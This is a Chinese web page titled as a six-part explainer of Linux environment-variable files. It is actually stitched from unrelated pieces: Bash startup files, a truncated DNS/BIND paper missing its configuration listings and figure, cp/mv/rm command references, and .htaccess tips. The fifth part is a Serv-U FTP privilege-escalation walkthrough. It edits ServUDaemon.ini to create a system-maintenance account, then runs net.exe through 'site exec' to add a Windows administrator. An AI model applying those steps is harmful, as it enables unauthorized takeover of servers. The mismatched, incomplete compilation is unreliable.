Linux中环境变量配置文件详解

2024-08-16

Linux中环境变量配置文件详解(共6篇)

Linux中环境变量配置文件详解 篇1

环境变量是和Shell紧密相关的,用户登录系统后就启动了一个Shell,对于Linux来说一般是bash,但也可以重新设定或切换到其它的 Shell。对于UNIX,可能是CShelll。环境变量是通过Shell命令来设置的,设置好的环境变量又可以被所有当前用户所运行的程序所使用。对于bash这个Shell程序来说,可以通过变量名来访问相应的环境变量,通过export来设置环境变量。下面通过几个实例来说明。

一.系统级:

1)etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行.并从/etc/profile.d目录的配置文件中搜集shell的设置.

注:在这里我们设定是为所有用户可使用的全局变量。

2)/etc/bashrc:为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取.

二.用户级(这些文件处于家目录下):

1)~/.bash_profile:每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!默认情况下,他设置一些环境变量,执行用户的.bashrc文件.

注:~在LINUX下面是代表HOME这个变量的。

另外在不同的LINUX操作系统下,这个文件可能是不同的,可能是~/.bash_profile; ~/.bash_login或 ~/.profile其中的一种或几种,如果存在几种的话,那么执行的顺序便是:~/.bash_profile、 ~/.bash_login、 ~/.profile。比如我用的是Ubuntu,我的用户文件夹下默认的就只有~/.profile文件。

2)~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该文件被读取.

(注:这个文件是 .开头的,所以在文件夹中被隐藏了)

那么我们如何添加自己定义的环境变量呢?

用记事本打开这个文件,然后在里面最后写上:

xiaokang=kangkang

然后保存,这样每次打开一个新的terminal的时候,我们这个变量就生效了,

记住,如果你已经打开一个terminal,然后你修改了这个文件,那么在这个terminal下是不会生效的。一般情况用户最好在这里进行修改,但是有时候会覆盖父级的变量,比如PATH是ROOT设定的,但是如果你在这个文件里面写了PATH=xx,那么将来所有的PATH都成了xx了,所以我们应该在这个文件中写为:

PATH=$PATH:xx

这样就把原来的和你自己的一起加上了。而且注意在LINUX系统下用:分割表示并列,而不是windo的;

3和4都是在用户目录下的,他们唯一的不同是: .bash_profile只能在登录的时候启动一次。在我的Ubuntu里面这个3文件似乎没有。

3)~/.bash_logout:当每次退出系统(退出bash shell)时,执行该文件.

另外,/etc/profile中设定的变量(全局)的可以作用于任何用户,而~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是/“父子/”关系.

~/.bash_profile 是交互式、login 方式进入 bash 运行的

~/.bashrc 是交互式 non-login 方式进入 bash 运行的

通常二者设置大致相同,所以通常前者会调用后者。

通过上面的文件介绍,就能明白我们需要设置环境变量的时候,需要修改什么文件,要想对所有的用户生效,那就需要设置系统级的环境变量。反之,需要修改用户级的文件(最好是修改.profile文件,理由上面已经讲了)。

另外,总结一下他们的执行方式:

当你登录并且登录shell是bash时,bash首先执行/etc/profile文件中的命令(如果该文件存在),然后它顺序寻找~ /.bash_profile,~/.bash_login或~/.profile文件,并执行找到的第一个可读文件中的命令.当登录bash退出时,它 将执行~/.bash_logout文件中的命令.

当启动一个交互的bash时,它将执行~/.bashrc文件中的命令(如果该文件存在并且可读).当非交互地启动以运行一个shell脚本时,bash将查找bash_env环境变量,确定执行文件的名称.

Linux中环境变量配置文件详解 篇2

关键词:域名解析系统,云技术,BIND,服务器配置与优化,Linux系统

1. 引言

域名解析系统 (DNS) 是互联网域名一个重要的基础设施, 其都有对应的基于互联网、电子邮件等各种网络服务的IP地址, 同时也依赖域名解析服务使用的服务器/客户端模式 (C/S) , 域名在完成维护DNS服务器的IP地址时, 需要进行DNS解析, 同时系统会发送一个请求到域名解析的DNS服务器, DNS服务器解析本地域名和IP地址时, 本地DNS服务器接收来自用户的请求后, 在自身的DNS数据库中查找对应匹配的域名或IP地址对应的访问记录。

BIND (Berkeley Internet Name Domain) 是域名系统 (DNS) 的伯克利的实现, 是一种研究分布式网络主机分配地址和网络地址的信息服务, 不提供发往其它主机的接受邮件列表, 从而有利于Internet邮件的互联互通以及named.conf中BIND文件的配置, BIND9的主要功能包括:IPv6支持、实现DNS协议的扩展、支持对多处理器和更大代码的可移植性, 本文重点从BIND软件和云技术讲述DNS服务器的配置和操作的优化。

2. DNS服务器的配置

BIND主要有以下文件:

Controls语句用于定义rndc工具与Bind服务进程的通信, 系统管理员还可以通过rndc向Bind进程发出相应的控制命令, 并接受Bind返回对应的结果, 具体格式如下:

辅助DNS服务器的配置:

辅助服务器主要是在配置文件的正向域与反向域添加masters{192.168.1.102;}。

3. DNS服务器的优化

DNS服务器和基于云的设计优化配置的中心思想是:由广泛分布的云节点服务器组成系统, 利用云的内容发布和存储机制, 以“推”的方式, 在广泛分布的节点服务器上发布权威的DNS记录, 同时, 每个节点都可以取代现有域名构架中的域名解析器和域名服务器。在这种服务模式中, DNS服务器节点保留所有域名的记录。

通过云的管理服务器, 域名所有者在广泛分布的云服务器节点上发布DNS记录。因此, 云节点服务器可以起到辅助DNS构架中节点服务器 (权威域名服务器) 的功能, 所维持的域名记录是权威的域名记录, 直接由域名所有者管理。因为更新的DNS记录首先由各服务器分布到每个节点服务器上, 所以在域名服务器节点上不必使用TTL字段, 也不受TTL机制的约束。

在解析域名时, 现行的域名架构中的域名解析器由云的节点服务器取代 (基于IP Anycast路由技术, 使用相同的IP地址) , 域名解析请求用户将被定向到附近云服务器的任何节点上。在分析一个域名时, 因为DNS服务器节点保留所有域名, 故无需访问任何额外的服务器, 就可以立即响应域名解析的请求。用户到节点服务器的往返时延决定了解析域名服务器的所需时间。广泛分发的大规模云架构的节点服务器, 使用户可以减少延迟, 同时又可避免某个节点服务器出现负载过重的情况。

系统若要取代现行的解析系统, 增量部署的执行能力是必不可少的。实现DNS在基于云的域名解析服务需要域名所有者的紧密配合, 通过云节点的发布机制, 在各个节点的域名服务器上发布域名的DNS记录。

图1显示了用于实现增量模型的服务模型, 这个模型可以实现DNS的基于云的域名解析服务, 同时与现有的DNS兼容。如果使用者基于云节点服务器作为解析域名的发布和更新域的DNS记录, 可立即向用户返回所查询域名的DNS记录, 可立即将所查询的域名的DNS记录返回给对应的用户;对于没有使用此架构的域名, 节点服务器作为相应的域名解析器, 可查询其缓存中非权威的DNS记录, 或者以递归查询的方式访问现行DNS架构中的各级域名服务器, 解析该域名, 最后将该域名的DNS记录返回给对应的用户, 流程如图中a1→a2→a3→a4→a5所示。如果用户使用现行DNS架构中的域名解析器, 对于通过此架构发布和更新的DNS记录的域名, 节点服务器作为二级域名服务器注册于现行DNS的架构下, 响应域名解析器的查询请求, 流程如图中b1→b2→b3→b4→b5所示。

由此可见, 基于云的域名解析服务模型是提供域名解析服务的一个新方式, 它可很好地兼容于现行域名解析系统, 实现增量的部署。同时在增量部署服务模型的过程中, 不论用户选取何种域名的解析器, 域名所有者以何种方式来发布DNS记录, 它都不会对域名解析服务造成任何不利影响, 此外还能在性能和安全上提高域名解析服务质量。因此, 这种方式的服务模型可以吸引更多用户和域名所有者, 从而逐步取代现有的DNS系统。

Linux中环境变量配置文件详解 篇3

先看实例

删除复制移动文件命令

Linux代码

rm -rf /file

-r:递归处理参数

-f:强制删除所有文件

Linux代码

cp /test1/file1 /test3/file2

将file1复制到test3下,并改名为file2

Linux代码

cp -a test test1

将test目录下的所有子目录复制到test1下

Linux代码

mv /test1/file1 /test2/test2

将file1移动到test2下,并改名为test2

cp命令

该命令d功能匙将给出d文件或目录拷贝到另一文件或目录中,同MSDOS下dcopy命令一样,功能十分强大。

语法: cp [选项] 源文件或目录 目标文件或目录

说明:该命令把指定d源文件复制到目标文件或把多个源文件复制到目标目录中。

该命令d各选项含义如下:

- a 该选项通常在拷贝目录时使用。它保留链接、文件属性,并递归地拷贝目录,其作用等于dpR选项d组合。

- d 拷贝时保留链接。

- f 删除已经存在d目标文件而不提示。

- i 和f选项相反,在覆盖目标文件之前将给出提示要求用户确认。回答y时目标文件将被覆盖,匙交互式拷贝。

- p 此时cp除复制源文件d内容外,还将把其修改时间和访问权限也复制到新文件中。

- r 若给出d源文件匙一目录文件,此时cp将递归复制该目录下所有d子目录和文件。此时目标文件必须为一个目录名。

- l 不作拷贝,只匙链接文件。

mv 命令

功能说明:移动或更名现有的文件或目录。

语 法:mv [-bfiuv][--help][--version][-S <附加字尾>][-V <方法>][源文件或目录][目标文件或目录]

补充说明:mv可移动文件或目录,或是更改文件或目录的名称,

参 数:

-b或--backup 若需覆盖文件,则覆盖前先行备份。

-f或--force 若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文 件或目录。

-i或--interactive 覆盖前先行询问用户。

-S<附加字尾>或

--suffix=<附加字尾> 与-b参数一并使用,可指定备份文件的所要附加的字尾。

-u或--update 在移动或更改文件名时,若目标文件已存在,且其文件日期比源文件新,则不覆盖目标文件。

-v或--verbose 执行时显示详细的信息。

-V=<方法>或

--version-control=<方法> 与-b参数一并使用,可指定备份的方法。

--help 显示帮助。

--version 显示版本信息。

名称:rm

使用权限:所有使用者

使用方式:rm [options] name...

说明:删除档案及目录。

参数:?

-i 删除前逐一询问确认。

-f 即使原档案属性设为唯读,亦直接删除,无需逐一确认。

-r 将目录及以下之档案亦逐一删除。

范例:

删除所有C语言程式档;删除前逐一询问确认 :

rm -i *.c

将 Finished 子目录及子目录中所有档案删除 :

rm -r Finished

功能说明:删除文件或目录。

语 法:rm [-dfirv][--help][--version][文件或目录...]

补充说明:执行rm指令可删除文件或目录,如欲删除目录必须加上参数“-r”,否则预设仅会删除文件。

参 数:

-d或--directory 直接把欲删除的目录的硬连接数据删成0,删除该目录。

-f或--force 强制删除文件或目录。

-i或--interactive 删除既有文件或目录之前先询问用户。

-r或-R或--recursive 递归处理,将指定目录下的所有文件及子目录一并处理。

-v或--verbose 显示指令执行过程。

--help 在线帮助。

Linux中环境变量配置文件详解 篇4

现在,你需要学习如何删除文件和目录。 使用 rm 命令来删除文件和目录是一个直截了当的过程。详情请参阅 rm 的说明书页。删除文件和目录的选项包括:

» -i — 互动。提示你确认删除。这个选项可以帮助你避免误删文件。

» -f — 强制。代替互动模式,不提示地删除文件。除非你知道自己在干什么,使用这个选项通常不是明智之举。

» -v — 详细。显示文件的删除进度。

» -r — 递归。将会删除某个目录及其中所有的文件和子目录。

要使用 rm 命令来删除文件 piglet.txt,键入:

rm piglet.txt

警告

一旦文件或目录使用 rm 命令删除后,它就一去不复返了。

使用 -i(互动)选项会再给你一次机会来决定你是否真的想删除该文件。

rm -i piglet.txt

rm: 是否删除一般文件‘piglet.txt’?

你还可以使用通配符“*”来删除文件,不过,你必须谨慎而为,因为它很容易删除你并不想删除的文件。

要使用通配符来删除文件,可以键入:

rm pig*

上面的命令会删除目录中所有起首为 pig 字母的文件。

你还可以使用 rm 命令来删除多个文件。 例如:

rm piglet.txt sneakers.txt

你可以使用 rmdir 来删除目录( 如:rmdir foo),但是目录必须是空目录。要使用 rm 来删除目录,你必须指定 -r 选项。

譬如,如果你想递归地删除目录 tigger,你可以键入:

rm -r tigger

如果你想组合选项,例如强制一种递归的删除,你可以键入:

rm -rf tigger

另一个比使用 rm 更安全的删除目录的命令是 rmdir 命令。这个命令不允许你使用递归删除,因此不能删除包含文件的目录。

警告

rm 命令可以删除你的整个文件系统!如果你登录为根用户,然后键入这个简单命令: rm -rf /,你的麻烦就大了;这个命令会递归地删除你的系统上的一切。

阅读 rmdir 的说明书页( man rmdir)来获取关于这个命令的详细信息

Linux 文件误删除恢复操作

一、用运SecureCRT远程对操作系统上,查看一下当前系统版本号,及文件系统格式

二、为方便本次实验,我们新创建一文件,

三、执行删除操作,

四、运用,系统自还工具debugfs来修复

五、打开,刚刚被删除文件所在的分区

六、用ls 加-d参数显示刚刚删除文件所在的目录

七、显示有尖括号的就是我们要找的文件Inode 号 执行logdump –I <393289>

八,执行完命令后,显示了一屏信息,我们需要的是下面这一行,并且要记住,后面的值

九,退出debugfs

十,执行如下命令

十一,以上结果表示恢复成功我们看下/tmp目录下到底有没有

十二,tmp目录下有我们显示一下,

linux下删除乱码文件

根据inode 来修改或删除linux 下乱码的文件

1. 创建测试文件:

touch 1?.txt

2. 查询inode :

[oracle@test]$ ll -i

total 14694452

17956913 -rw-r--r-- 1 oracle oinstall0 Jan 18 20:24 1?.txt

3. 修改测试文件名:

find . -inum 17956913 -exec mv {} file.txt ;

4. 检查修改结果

[oracle@test]$ ll

total 14694452

....

-rw-r--r-- 1 oracle oinstall0 Jan 18 20:24 file.txt

Servu配置文件详解和提权 篇5

假设本地受限用户可以浏览Serv-U 的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:

[GLOBAL]

Version=4.1.0.0 // Serv-U Ftp Server 版本号

ProcessID=584

RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/

AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB

ReloadSettings=True

#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加

[DOMAINS]

Domain1=127.0.0.1||21|127.0.0.1|1|0 //主机IP以及域名,端口情况

[Domain1]

User1=hackgg|1|0

[USER=hackgg|1]

Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6

HomeDir=c: // 可以浏览的目录

TimeOut=600

Access1=C:|RWAMLCDP

按规范添加一个用户,并且修改为

TimeOut=600

Maintenance=System //权限类型 多加一行 指定新加帐号为系统管理员

Access1=C:|RWAMELCDP 这里填系统所在盘符

#必填.密码.算法为随机产生2个字符,如hr.将hr+明文密码(如test)使用MD5加密,如MD5(“hrtest”,生成密码后将所有小写字符变为大写

#在最前加上这两个随机字符”hr”+”1589A4F0334FDF55D52F26DFA2D3CCEB”,生成最终密码

标准的serv-u用户配置段例

[Domain1]

User1=admin|1|0

User2=test|1|0

[USER=admin|1]

Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB

HomeDir=g:

RelPaths=1

DiskQuota=1|153600000|0

TimeOut=600

Access1=g:|RWAMLCDP

[USER=test|1]

Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB

HomeDir=f:test

RelPaths=1

DiskQuota=1|153600000|0

TimeOut=600

Access1=f:test|RWAMLCDP

以下这一行是权限设置,解释一下各参数代表的含义

Access1=g: RWAMELCDP

#必填.对于目录的存储权限,默认权限为RWAMLCDP.权限排列无需按照顺序.

# 格式 Access序号 = 目录 权限

#R 读取

#W 写入

#A 附加

#M 修改

#E 执行–由于安全原因,所有帐号均不能开启此权限

#L 目录列表

#C 建立目录

#D 删除目录

#P 将权限继承给子目录

建帐号成功后开始利用

ftp>cd system32 //进入system32目录

250 Directory changed to /WINDOWS/system32

ftp>quote site exec net.exe user sasa 1111 /add //利用系统的net.exe文件加用户,

ftp>quote site exec net.exe localhost administrators pchack /add //提升为超级用户

Linux中环境变量配置文件详解 篇6

嗨, 百度, 这篇你就别收了, 噢,百度听不懂,转正题:

.htaccess 常用的一些配置

自定义php错误日志目录

把php运行中的错误日志保存到指定的目录, 这个很有用,经常查看错误日志可以帮我们检查程序问题, htaccess设置如下:

代码如下复制代码1.# 正式上传的程序关闭向客户端浏览器显示错误提示

2.# php_flag display_startup_errors off

3.# php_flag display_errors off

4.# php_flag html_errors off

5.# 把错误日志保存到指定的目录中。

6.php_flag log_errors on

7.php_value error_log /home/lao8_org/error.log

网页Gzip压缩, 提高用户访问速度

网页打开速度的源于网页的大小和网速,当网速无法改善的时候只能改变网页的大小,gizp压缩就是这样一个功能。

这个绝对可以有,比如登录百度站长平台你会发现页面优化建议工具里有会有这个优化的提示,在.htaccess里加上这一段:

代码如下复制代码1. AddOutputFilterByType DEFLATE text/html text/css text/plain text/xml application/x-httpd-php application/x-javascript

备注:如果配置你的服务器默认就支持Gzip压缩请参考文章:apache%C5%E4%D6%C3/“ target=”_blank“>apache配置gzip压缩网页优化网速

用.htaccess纠正错误的网页编码

开发程序的朋友知道,如果a页面是gb2312编码的,b页面是utf-8编码的, 如果a页面include引用b页面就会产生乱码,可以用.htaccess 为网页修正编码:

代码如下复制代码1.

2.AddDefaultCharset UTF-8

自定义404错误页面

我认为一个正常的博客/网站都应该有自己错误页面,这有利于我们增加用户体验,同时也有助于引导客户访问我们的网站,增加访问量,

先建立好一个404错误页, 然后在.htaccess里加入下面的代码即可:

代码如下复制代码1.ErrorDocument 404 /404.php

举一反三,指定403:ErrorDocument 403 /403.html

首页301重定向

这个绝对必须有,有利于seo哦,比如输入lao8.org会自动转跳到www.111cn.net, 是在.htaccess加入下面的代码实现的:

代码如下复制代码1.RewriteEngine On

2.RewriteCond %{HTTP_HOST} !^lao8.org$ [NC]

3.RewriteRule ^(.*)$ www.111cn.net/$1 [L,R=301]

RewriteEngine On的意思是开启url重写,这行要放在htaccess前面以便于后面调用

动态网页伪静态化的方法

代码如下复制代码1.RewriteRule ^id(d+).html /wenzhang.php?id=$1

上一篇:市场内参:2011年中国房地产市场总结与2012市场总体趋势展望下一篇:终止电梯维保通知书